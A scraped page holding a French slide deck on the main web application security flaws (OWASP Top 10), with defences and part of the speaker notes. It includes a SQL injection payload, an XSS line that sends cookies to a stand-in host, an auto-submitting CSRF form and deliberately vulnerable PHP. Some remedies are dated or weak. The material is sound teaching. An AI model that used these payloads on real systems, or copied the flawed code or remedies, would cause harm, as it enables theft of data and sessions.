Política de empleo. Sobre la colaboración público-privada en la inserción de ...Universidad Autónoma de Barcelona
 

En vedette (20)

L'accessibilité des objets connectés
L'accessibilité des objets connectésL'accessibilité des objets connectés
L'accessibilité des objets connectés
 
Cours Secu Web
Cours Secu WebCours Secu Web
Cours Secu Web
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Piratage informatique
Piratage informatiquePiratage informatique
Piratage informatique
 
rapportWAS
rapportWASrapportWAS
rapportWAS
 
Rapport sécurité
Rapport sécuritéRapport sécurité
Rapport sécurité
 
Los cinco colores que te darán salud!!
Los cinco colores que te darán salud!!Los cinco colores que te darán salud!!
Los cinco colores que te darán salud!!
 
Kahi Tuna / Ricardo Espinoza / Diseño y Empresa USS / 20april
Kahi Tuna / Ricardo Espinoza / Diseño y Empresa USS / 20aprilKahi Tuna / Ricardo Espinoza / Diseño y Empresa USS / 20april
Kahi Tuna / Ricardo Espinoza / Diseño y Empresa USS / 20april
 
Ponencia
PonenciaPonencia
Ponencia
 
Fotospresentacion
FotospresentacionFotospresentacion
Fotospresentacion
 
Monarque diaporama exemple
Monarque diaporama exempleMonarque diaporama exemple
Monarque diaporama exemple
 
Dossier de rapport_de_tests_v1.00
Dossier de rapport_de_tests_v1.00Dossier de rapport_de_tests_v1.00
Dossier de rapport_de_tests_v1.00
 
Las 4 exclamaciones
Las 4 exclamacionesLas 4 exclamaciones
Las 4 exclamaciones
 
Sentencia macleod dixon bm
Sentencia  macleod dixon bmSentencia  macleod dixon bm
Sentencia macleod dixon bm
 
HIF Paris 2014 - BULL - Success Story : Les solutions HDS de services de fich...
HIF Paris 2014 - BULL - Success Story : Les solutions HDS de services de fich...HIF Paris 2014 - BULL - Success Story : Les solutions HDS de services de fich...
HIF Paris 2014 - BULL - Success Story : Les solutions HDS de services de fich...
 
Divina proporción
Divina proporciónDivina proporción
Divina proporción
 
Mujeres conquistan sus derechos_ Sabina Orellana
Mujeres conquistan sus derechos_ Sabina OrellanaMujeres conquistan sus derechos_ Sabina Orellana
Mujeres conquistan sus derechos_ Sabina Orellana
 
Alguien Dijo
Alguien DijoAlguien Dijo
Alguien Dijo
 
Astec French Language Brochure
Astec French Language BrochureAstec French Language Brochure
Astec French Language Brochure
 
Política de empleo. Sobre la colaboración público-privada en la inserción de ...
Política de empleo. Sobre la colaboración público-privada en la inserción de ...Política de empleo. Sobre la colaboración público-privada en la inserción de ...
Política de empleo. Sobre la colaboración público-privada en la inserción de ...
 

Similaire à Failles de sécurité

Développement d'applications pour la plateforme Java EE
Développement d'applications pour la plateforme Java EEDéveloppement d'applications pour la plateforme Java EE
Développement d'applications pour la plateforme Java EESabri Bouchlema
 
Java script Introduction
Java script IntroductionJava script Introduction
Java script IntroductionMohamed MHAMDI
 
Sécurité dans les contrats d'externalisation de services de développement et ...
Sécurité dans les contrats d'externalisation de services de développement et ...Sécurité dans les contrats d'externalisation de services de développement et ...
Sécurité dans les contrats d'externalisation de services de développement et ...Antonio Fontes
 
Owasp et les failles des applications web
Owasp et les failles des applications webOwasp et les failles des applications web
Owasp et les failles des applications webHenrique Mukanda
 
Web 2.0 GTI780 & MTI780 ETS A09
Web 2.0  GTI780 & MTI780  ETS  A09Web 2.0  GTI780 & MTI780  ETS  A09
Web 2.0 GTI780 & MTI780 ETS A09Claude Coulombe
 
Valdes securite des application - barcamp2012
Valdes securite des application - barcamp2012Valdes securite des application - barcamp2012
Valdes securite des application - barcamp2012Valdes Nzalli
 
Partie II – ASM Application Security Manager
Partie II – ASM Application Security ManagerPartie II – ASM Application Security Manager
Partie II – ASM Application Security Managere-Xpert Solutions SA
 
Présentation RIA avec Adobe Flex / RIA with Adobe Flex
Présentation RIA avec Adobe Flex / RIA with Adobe FlexPrésentation RIA avec Adobe Flex / RIA with Adobe Flex
Présentation RIA avec Adobe Flex / RIA with Adobe FlexCynapsys It Hotspot
 
Web 2.0 - GTI780 & MTI780 - ETS - A08
Web 2.0 - GTI780 & MTI780 - ETS - A08Web 2.0 - GTI780 & MTI780 - ETS - A08
Web 2.0 - GTI780 & MTI780 - ETS - A08Claude Coulombe
 
J2eeintro
J2eeintroJ2eeintro
J2eeintromedbmb
 
Architecture jee principe de inversion de controle et injection des dependances
Architecture jee principe de inversion de controle et injection des dependancesArchitecture jee principe de inversion de controle et injection des dependances
Architecture jee principe de inversion de controle et injection des dependancesENSET, Université Hassan II Casablanca
 
Pourquoi rails est génial? (version longue)
Pourquoi rails est génial? (version longue)Pourquoi rails est génial? (version longue)
Pourquoi rails est génial? (version longue)Camille Roux
 
Petit déjeuner OCTO Technology - Nouvelles Architectures Web Front-End et APIs
Petit déjeuner OCTO Technology - Nouvelles Architectures Web Front-End et APIsPetit déjeuner OCTO Technology - Nouvelles Architectures Web Front-End et APIs
Petit déjeuner OCTO Technology - Nouvelles Architectures Web Front-End et APIsOCTO Technology
 
Petit déjeuner OCTO - Nouvelles Architectures Web Front-end et APIs
Petit déjeuner OCTO - Nouvelles Architectures Web Front-end et APIsPetit déjeuner OCTO - Nouvelles Architectures Web Front-end et APIs
Petit déjeuner OCTO - Nouvelles Architectures Web Front-end et APIsJonathan Meiss
 
Conférence "Architecture Android" du 19 Mars 2013 par Mathias Seguy fondateur...
Conférence "Architecture Android" du 19 Mars 2013 par Mathias Seguy fondateur...Conférence "Architecture Android" du 19 Mars 2013 par Mathias Seguy fondateur...
Conférence "Architecture Android" du 19 Mars 2013 par Mathias Seguy fondateur...Mathias Seguy
 

Similaire à Failles de sécurité (20)

Développement d'applications pour la plateforme Java EE
Développement d'applications pour la plateforme Java EEDéveloppement d'applications pour la plateforme Java EE
Développement d'applications pour la plateforme Java EE
 
Java script Introduction
Java script IntroductionJava script Introduction
Java script Introduction
 
Sécurité dans les contrats d'externalisation de services de développement et ...
Sécurité dans les contrats d'externalisation de services de développement et ...Sécurité dans les contrats d'externalisation de services de développement et ...
Sécurité dans les contrats d'externalisation de services de développement et ...
 
Owasp et les failles des applications web
Owasp et les failles des applications webOwasp et les failles des applications web
Owasp et les failles des applications web
 
Web 2.0 GTI780 & MTI780 ETS A09
Web 2.0  GTI780 & MTI780  ETS  A09Web 2.0  GTI780 & MTI780  ETS  A09
Web 2.0 GTI780 & MTI780 ETS A09
 
Valdes securite des application - barcamp2012
Valdes securite des application - barcamp2012Valdes securite des application - barcamp2012
Valdes securite des application - barcamp2012
 
Partie II – ASM Application Security Manager
Partie II – ASM Application Security ManagerPartie II – ASM Application Security Manager
Partie II – ASM Application Security Manager
 
RIA
RIARIA
RIA
 
INF355_Lecon1.pdf
INF355_Lecon1.pdfINF355_Lecon1.pdf
INF355_Lecon1.pdf
 
Présentation RIA avec Adobe Flex / RIA with Adobe Flex
Présentation RIA avec Adobe Flex / RIA with Adobe FlexPrésentation RIA avec Adobe Flex / RIA with Adobe Flex
Présentation RIA avec Adobe Flex / RIA with Adobe Flex
 
Chapitre 1.pdf
Chapitre 1.pdfChapitre 1.pdf
Chapitre 1.pdf
 
Web 2.0 - GTI780 & MTI780 - ETS - A08
Web 2.0 - GTI780 & MTI780 - ETS - A08Web 2.0 - GTI780 & MTI780 - ETS - A08
Web 2.0 - GTI780 & MTI780 - ETS - A08
 
J2eeintro
J2eeintroJ2eeintro
J2eeintro
 
La plateforme JEE
La plateforme JEELa plateforme JEE
La plateforme JEE
 
Démystifions l'API-culture!
Démystifions l'API-culture!Démystifions l'API-culture!
Démystifions l'API-culture!
 
Architecture jee principe de inversion de controle et injection des dependances
Architecture jee principe de inversion de controle et injection des dependancesArchitecture jee principe de inversion de controle et injection des dependances
Architecture jee principe de inversion de controle et injection des dependances
 
Pourquoi rails est génial? (version longue)
Pourquoi rails est génial? (version longue)Pourquoi rails est génial? (version longue)
Pourquoi rails est génial? (version longue)
 
Petit déjeuner OCTO Technology - Nouvelles Architectures Web Front-End et APIs
Petit déjeuner OCTO Technology - Nouvelles Architectures Web Front-End et APIsPetit déjeuner OCTO Technology - Nouvelles Architectures Web Front-End et APIs
Petit déjeuner OCTO Technology - Nouvelles Architectures Web Front-End et APIs
 
Petit déjeuner OCTO - Nouvelles Architectures Web Front-end et APIs
Petit déjeuner OCTO - Nouvelles Architectures Web Front-end et APIsPetit déjeuner OCTO - Nouvelles Architectures Web Front-end et APIs
Petit déjeuner OCTO - Nouvelles Architectures Web Front-end et APIs
 
Conférence "Architecture Android" du 19 Mars 2013 par Mathias Seguy fondateur...
Conférence "Architecture Android" du 19 Mars 2013 par Mathias Seguy fondateur...Conférence "Architecture Android" du 19 Mars 2013 par Mathias Seguy fondateur...
Conférence "Architecture Android" du 19 Mars 2013 par Mathias Seguy fondateur...
 

Failles de sécurité

  • 1. Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND
  • 2. P. 2 1. Introduction 2. Principales failles de sécurité 3. Conclusion SOMMAIRE Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 3. P. 3 1. Contexte 2. Enjeux 1. INTRODUCTION Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 4. 1.1 Contexte : Fonctionnement d’une application Web P. 4  Composants serveur Requête http EE xx tt HTML + CSS Utilisateur Serveur http Serveur Serveur de base d’application de données Architecture 3-tiers Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 5. 1.1 Contexte : Fonctionnement d’une application Web P. 5  Composants client JavaScript Requête http EE xx tt HTML + CSS XML Utilisateur Moteur Serveur http AJAX Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 6. 1.1 Contexte : Fonctionnement d’une application Web P. 6  Principe d’une application Web 1. Envoie de la saisie d’un formulaire 2. Envoie de la requête correspondante pour traitement 3. Retour du résultat à la page de script 4. Génération et envoie de la page HTML 2) Demande de 1) traitement EE xx tt 4) HTML + CSS 3) Résultat Utilisateur Serveur http Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 7. 1.2 Enjeux P. 7  Analyse des besoins de sécurité  Intégrité  Confidentialité  Disponibilité  Risques de sécurité applicatifs Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 8. P. 8 PRINCIPALES FAILLES DE SÉCURITÉ Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 9. 2.1 Injection P. 9  Victime d’une attaque  Composant de l’architecture de l’application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Formulaire de saisie de l’application  Injection de code malicieux dans le code de l’application  Objectif de l’attaque  Vol d’information  Prise de contrôle du système  Déni de service Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 10. 2.1 Injection P. 10  Principe d’une attaque 1. Envoi de code malveillant 2. Envoi de la requête correspondante pour traitement Les étapes suivantes sont fonction de l’attaque employée 3. … 4. … 2) Demande de 1) traitement 4) … 3) … Attaquant Serveur http Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 11. 2.1 Injection P. 11  Comportement d’une application vulnérable à l’injection SQL 1. Envoi de la saisie d’un formulaire 2. Envoi de la requête correspondante pour traitement 3. Retour du résultat à la page de script 4. Génération et envoie de SELECT HTML la page numerocarte FROM comptes WHERE nom='user4' AND motdepasse=PASSWORD('eng111') 1) 2) Requête SQL 4) HTML + CSS 3) Résultat Utilisateur Serveur http +-------------+ | numerocarte | +-------------+ | 741852963 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement | +-------------+
  • 12. 2.1 Injection P. 12  Vol d’information par injection SQL 1. Envoi de code malicieux « ' OR 1=1 -- '  » 2. Envoi de la requête correspondante à la base de données 3. Retour du résultat à la page de script SELECT numerocarte FROM comptes 4. Vol d’information WHERE nom='' OR 1=1 -- ' ' AND motdepasse=PASSWORD('eng111') 1) 2) Requête SQL 4) HTML + CSS 3) Résultat Attaquant Serveur http +-------------+ | numerocarte | +-------------+ Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement | 123456789 |
  • 13. 2.1 Injection P. 13  Source de vulnérabilité 1. Code de la requête est généré dynamiquement 2. Caractères interprétés (en SQL, en SHELL, …) acceptés //recuperation des parametres 2  $nom = $_GET['nom']; $motdepasse = $_GET['motdepasse']; //generation de la requete 1  $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom = '$nom' AND motdepasse = PASSWORD( '$motdepasse' )"; //execution de la requete $reponse = mysql_query($requeteSQL); $resultat = mysql_fetch_assoc($reponse); //affichage du resultat echo $resultat['numerocarte']; Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 14. 2.1 Injection P. 14  Solutions 1. Utiliser des requêtes paramétrées 2. Ne pas autoriser les caractères spéciaux //recuperation des parametres 2  $nom = htmlspecialchars($_GET['nom'],ENT_QUOTES); $motdepasse = htmlspecialchars($_GET['motdepasse'] ,ENT_QUOTES); //preparation de la requete $stmt = $mysqli->prepare("SELECT numerocarte FROM comptes WHERE nom = ? AND motdepasse = PASSWORD( ? )"); 1  $stmt->bind_param("ss", $nom, $motdepasse); //execution de la requete $stmt->execute(); $stmt->bind_result($resultat); $stmt->fetch(); //affichage du resultat echo $resultat; Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 15. 2.2 Cross-Site Scripting (XSS) P. 15  Victime d’une attaque  Utilisateur de l’application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Injection de code actif dans un document HTML 1. XSS réfléchie 2. XSS stockée  Objectif de l’attaque  Vol d’information  Prise de contrôle du système de l’utilisateur  Hameçonnage Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 16. 2.2 Cross-Site Scripting (XSS) P. 16  Exemple de code actif  document.write('<img src=http://att.ack.org/steal.php?'+docum ent.cookie+' width=1>');  Ajoute une balise cachée lors de l’affichage de la page par le navigateur <img src=http://att.ack.org/steal.php? 1...f width=1>  L’appel de la page stocke les informations en paramètre Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 17. 2.2 Cross-Site Scripting (XSS) P. 17  Par réflexion 3) Page de résultat avec le script Utilisateur Application Web 1) C liq ue 2) Exécution s ur 4) u du script embarqué Vo nl l ien d’i nfo rm ati on Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 18. 2.2 Cross-Site Scripting (XSS) P. 18  Par réflexion Source de vulnérabilité 1. Caractères HTML/JavaScript acceptés R&eacute;sultat de la recherche : 1)  <?php echo $_GET['recherche'];?> 2.Accès autorisé aux cookies pour JavaScript Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 19. 2.2 Cross-Site Scripting (XSS) P. 19  Par réflexion Solutions 1. Ne pas autoriser les caractères spéciaux R&eacute;sultat de la recherche : <?php $recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES); echo $recherche; ?> 2.Rendre les cookies utilisables uniquement par l’application Le code JavaScript ne peut pas accéder au cookie <?php session.cookie_httponly = True ?> Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 20. 2.2 Cross-Site Scripting (XSS) P. 20  Stocké 2) Demande de la page 3) Page de résultat avec le script Utilisateur Application Web 1) Enregistrement 4) du code actif Vo l d’i nfo rm ati on Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 21. 2.2 Cross-Site Scripting (XSS) P. 21  Stocké Source de vulnérabilité Caractères HTML/JavaScript acceptés <?php $message=$_GET['message']; $nom=$_GET['nom']; $numsujet=$_GET['numsujet']; //generation de la requete  $requeteSQL = "INSERT INTO messages VALUES (NULL, '$numsujet', '$nom', '$message')"; ?> Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 22. 2.2 Cross-Site Scripting (XSS) P. 22  Stocké Solutions 1.Filtrer les entrées 2.Ne pas autoriser les caractères spéciaux R&eacute;sultat de la recherche : <?php $recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES); echo $recherche; ?> 3.Rendre les cookies utilisables uniquement par l’application <?php session.cookie_httponlyne Truepas accéder au cookie Le code JavaScript = peut ?> Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 23. 2.3 Violation de gestion d’authentification et de Session P. 23  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Usurpation d’identité 1. Attaque contre le système d’authentification 2. Détournement de session  Objectif de l’attaque  Accès à l’application  Vol d’information  Corruption de données Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 24. 2.3 Violation de gestion d’authentification et de Session P. 24  Mécanisme de connexion  Rappel : http est un protocole déconnecté 1. Authentification 2) Demande 1) de vérification EE xx tt 4) Envoi id 3) Résultat de session Utilisateur Serveur http 2. Travail avec l’identifiant de session 1) Envoi id de session 2) … EE xx tt 4) Envoi id 3) … de session Utilisateur Serveur http Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 25. 2.3 Violation de gestion d’authentification et de Session P. 25  Attaque contre le système d’authentification Sources de vulnérabilité 1.Force brute 2.Comptes par défaut 3.Système de réinitialisation de mot de passe 4.Système de création de comptes par soi-même Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 26. 2.3 Violation de gestion d’authentification et de Session P. 26  Attaque contre le système d’authentification Solutions 1.Force brute 1. Mots de passe forts 2. Message d’erreur générique 3. Verrouillage de compte après 5 erreurs consécutives 4. Utilisation de captcha 2.Supprimer ou désactiver les comptes par défaut 3.Système de réinitialisation de mot de passe Envoi d’un nouveau mot de passe sur média préconfiguré 1.Système de création de comptes par soi-même Ne pas autoriser les identifiants proches Générer l’identifiant de connexion Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 27. 2.3 Violation de gestion d’authentification et de Session P. 27  Détournement de session Méthodes d’attaque 1.Fixation 2.Vol 3.Prédiction 4.Force brute 1) Envoi id de session 2) … EE xx tt 4) Envoi id 3) … de session Utilisateur Serveur http 5) Envoi id de session Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 28. 2.3 Violation de gestion d’authentification et de Session P. 28  Détournement de session Solutions 1.Utiliser un moyen d’identification secondaire 2.Détruire les sessions 3.Ne pas soumettre les données par GET 4.Chiffrer les flux de transmission des identifiants 5.Redemander le mot de passe lors d’un changement de niveau de privilège Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 29. 2.4 Référence directe non sécurisée à un objet P. 29  Victime d’une attaque  Application vulnérable ou utilisateur  Attaquant  Extérieur au système ou utilisateur  Moyens utilisés  Injection de données frauduleuses  Objectif de l’attaque  Attaque par injection  Attaque XSS  Accès et/ou modification de données sans autorisation Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 30. 2.4 Référence directe non sécurisée à un objet P. 30  Source de vulnérabilité  Valeurs de paramètre non vérifiées //recuperation des parametres $nom = $_GET['proprietaire']; //generation de la requete $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom = '$nom'"; Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 31. 2.4 Référence directe non sécurisée à un objet P. 31  Solutions 1. Vérifier toutes les données avant utilisation (get, post, cookie) 1. Type attendu 2. Nombre d’arguments attendus 3. Valeurs limitées 4. Taille de la donnée 5. Valeur nulle autorisée? 6. Valeur suit une expression régulière 2. Protéger les sorties vers le client • Coder les caractères spéciaux Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 32. 2.5 Falsification de requêtes inter-site (CSRF) P. 32  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Requête http d’attaque envoyée par un utilisateur 1. CSRF réfléchie 2. CSRF stockée  Objectif de l’attaque  Vol d’information  Corruption de données Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 33. 2.5 Falsification de requêtes inter-site (CSRF) P. 33  Exemple de requête d’attaque  La requête simule une action de l’utilisateur  L’appel de la page exécute une fonctionnalité de l’application <form method="GET" id="reflected_CSRF" name="reflected_CSRF" action="add_message.php"> <input type=hidden name="numsujet" value="6"> <input type=hidden name="nom" value="CSRF"> <input type=hidden name="message" value="action frauduleuse"> </form> <script>document.reflected_CSRF.submit()</script> Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 34. 2.5 Falsification de requêtes inter-site (CSRF) P. 34  Par réflexion 1) Connexion Utilisateur Application Web 2) C liq ue 3) Exécution s ur u du code nl ien Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 35. 2.5 Falsification de requêtes inter-site (CSRF)  P. 35 Stocké 2) Affichage de la page 3) Réponse http 4) Exécution du code Utilisateur Application Web 1) Enregistrement du script Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 36. 2.5 Falsification de requêtes inter-site (CSRF) P. 36  Source de vulnérabilité  Utilisation de la méthode GET  Solutions 1. Utilisation de la méthode POST uniquement 2. Redemander le mot de passe lors d’un changement de niveau de privilège Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 37. 2.6 Mauvaise configuration de sécurité P. 37  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Faille de sécurité connues des composants  Objectif de l’attaque  Déni de service  Prise de contrôle du système Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 38. 2.6 Mauvaise configuration de sécurité P. 38  Source de vulnérabilité  Vulnérabilités laissées ouvertes par les composants de l’architecture  Solutions 1. Désactiver les options inutiles 2. Mettre à jour les composants 3. Installer les composants en version anglaise 4. Supprimer ou désactiver les comptes par défaut Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 39. 2.7 Stockage de données cryptographiques non sécurisé P. 39  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Accès au système de stockage  Objectif de l’attaque  Vol d’information confidentielles Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 40. 2.7 Stockage de données cryptographiques non sécurisé P. 40  Source de vulnérabilité  Information confidentielle visible en clair  Solutions 1. Chiffrer tous les supports de stockage d’information Bases de données Fichiers Sauvegardes 1. Utiliser des algorithmes de chiffrement forts Exemple : AES 256, RSA 1. Utiliser des algorithmes de hachage forts Exemple : SHA 256 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 41. 2.8 Défaillance dans la restriction des accès à une url P. 41  Victime d’une attaque  Application vulnérable  Attaquant  Utilisateur de l’application  Moyens utilisés  Saisie d’adresse non autorisée  Objectif de l’attaque  Accès à des fonctionnalités non autorisées  Accès à des fichiers du serveur http Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 42. 2.8 Défaillance dans la restriction des accès à une url P. 42  Source de vulnérabilité  Manque de contrôle lors de l’accès aux fonctionnalités  Fonctionnalités indexées par les moteurs de recherche  Solutions 1. Tous les répertoires doivent contenir un fichier index.html 2. Le serveur http ne doit pas afficher le contenu d’un répertoire 3. Les fonctionnalités doivent vérifier les droits d’accès de l’utilisateur avant affichage Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 43. 2.9 Protection insuffisante de la couche transport P. 43  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Accès au système de transmission  Objectif de l’attaque  Vol d’information confidentielles Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 44. 2.9 Protection insuffisante de la couche transport P. 44  Les protocoles de communication sur Internet Pile générique pour Pile générique pour Internet Internet Application Application Transport Transport Internet Internet Réseau Réseau Transfert de données à travers la pile de protocoles d’Internet Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 45. 2.9 Protection insuffisante de la couche transport P. 45  Source de vulnérabilité  Accessibilité des moyens de transmission  Solution  Chiffrer toutes les pages de l’application Si transmission de données confidentielles (dont informations de connexion) Si transmission des informations de session Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 46. 2.10 Redirection et renvois non validés P. 46  Victime d’une attaque  Utilisateur de l’application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Page de redirection  Objectif de l’attaque  Hameçonnage  Attaque CSRF par réflexion Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 47. 2.10 Redirection et renvois non validés P. 47  Source de vulnérabilité  Adresse de destination non vérifiée  Solutions  Renvoi uniquement vers des pages locales  Redirection assurée par le serveur http en cas de déplacement d’une page ou du site Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 48. P. 48 1. Web 2.0 : Constats 2. Web 2.0 : Perspectives 3. CONCLUSION Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 49. 3.1 Web 2.0 : Constats P. 49  Internet est omniprésent  Guerre des forfaits mobiles pour Internet  L’accès à Internet est perçu comme un des droits de l’Homme Vinton G. CERF dans le New York Times paru le 5 janvier 2012 Extrait de : “Internet Access Is Not a Human Right” “Even the United Nations report, which was widely hailed as declaring Internet access a human right, acknowledged that the Internet was valuable as a means to an end, not as an end in itself”. Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 50. 3.1 Web 2.0 : Constats P. 50  Les risques ont peu évolué depuis 2004  7 problèmes de 2010 déjà présents en 2004 Risques 2004 2007 2010 Injection de commandes A6 A2 A1 Failles Cross Site Scripting (XSS) A4 A1 A2 Violation de Gestion d’Authentification et de Session A3 A7 A3 Référence directe à un objet non sécurisée A1 A4 A4 Cross Site Request Forgery (CSRF) A5 A5 Gestion de configuration non sécurisée A10 A6 Stockage non sécurisé A8 A8 A7 Manque de restriction d’accès URL A2 A10 A8 Violation de Contrôle d’Accès Communications non sécurisées A9 A9 Redirection et renvoi non validés A10 Débordement de tampon A5 Mauvaise gestion des erreurs A7 A6 Déni de Service A9 Exécution de fichier malicieux A3 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 51. 3.1 Web 2.0 : Constats P. 51  Ajax et la sécurité  Ajout de nouvelles failles  Mode asynchrone rend les attaques moins visibles  Sécuriser une application Web 2.0 1. Sécuriser le Web 1.0 2. Sécuriser les appels Ajax Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 52. 3.2 Web 2.0 : Perspectives P. 52  Faut-il abandonner Ajax ?  HTML 5 sera-t-il la solution pour faciliter et standardiser le développement d’applications Web 2.0 ?  Les bonnes pratiques de sécurité vont devoir évoluer pour prendre en compte les applications pour smartphone Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 53. P. 53 Contact : Guillaume HARRY MERCI DE VOTRE ATTENTION Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement

Notes de l'éditeur

  1. La communication entre le navigateur et le serveur se fait en 3 temps : Le navigateur effectue une requête HTTP Le serveur traite la requête le serveur. C’est-à-dire qu’il la décode, localise fichier demandé et crée une réponse au Le serveur une réponse HTTP Une requête HTTP est un ensemble de lignes envoyé au serveur par le navigateur. Il y a 3 méthodes principalement utilisées parmi les 5 disponibles : GET : Requête de la ressource située à l&apos;URL spécifiée HEAD : Requête de l&apos;en-tête de la ressource située à l&apos;URL spécifiée POST : Envoi de données au programme situé à l&apos;URL spécifiée (PUT pour l’envoi de données à l&apos;URL spécifiée et DELETE Suppression de la ressource située à l&apos;URL spécifiée) Une réponse HTTP est un ensemble de lignes envoyées au navigateur par le serveur. Le corps de la réponse contient le document demandé, le plus souvent au format HTML ou CSS. Le HTML (« HyperText Mark-Up Language ») est un langage dit de « marquage » (de « structuration » ou de « balisage ») dont le rôle est de formaliser l&apos;écriture d&apos;un document avec des balises de formatage. Les spécifications de HTML 4.0 ont été publiées le 18 décembre 1997. La version HTML 4.01, apparue le 24 décembre 1999 apporte quelques modifications mineures au HTML 4.0. On peut donc constater que les standards du Web n’ont pas évolué en 10 ans. Le principe des feuilles de style consiste à regrouper dans un même document des caractéristiques de mise en forme associées à des groupes d&apos;éléments. Grâce aux feuilles de style, lorsque la charte graphique d&apos;un site composé de plusieurs centaines de pages web doit être changée, il suffit de modifier la définition des feuilles de style en un seul endroit pour changer l&apos;apparence du site tout entier ! Depuis le 12 mai 1998, la norme CSS 2.0 est le standard en vigueur. Le couple HTTP/HTML+CSS ne permet que de faire de l’affichage statique. On ne peut pas parler d’application Web dans cas, car il n’y a pas d’interaction avec l’utilisateur. Il s’agit uniquement d’un site Web. La première réponse au besoin de créer une page personnalisée en fonction du choix ou de la saisie de l’utilisateur fut de créer une extension au serveur web. Une extension permet de faire appel à un script ou à serveur d’application. Un script CGI (Common Gateway Interface, traduisez interface de passerelle commune) est un programme exécuté par le serveur web, permettant d&apos;envoyer au navigateur de l&apos;internaute un code HTML créé automatiquement par le serveur (basé par exemple sur une autre application, telle qu&apos;un système de 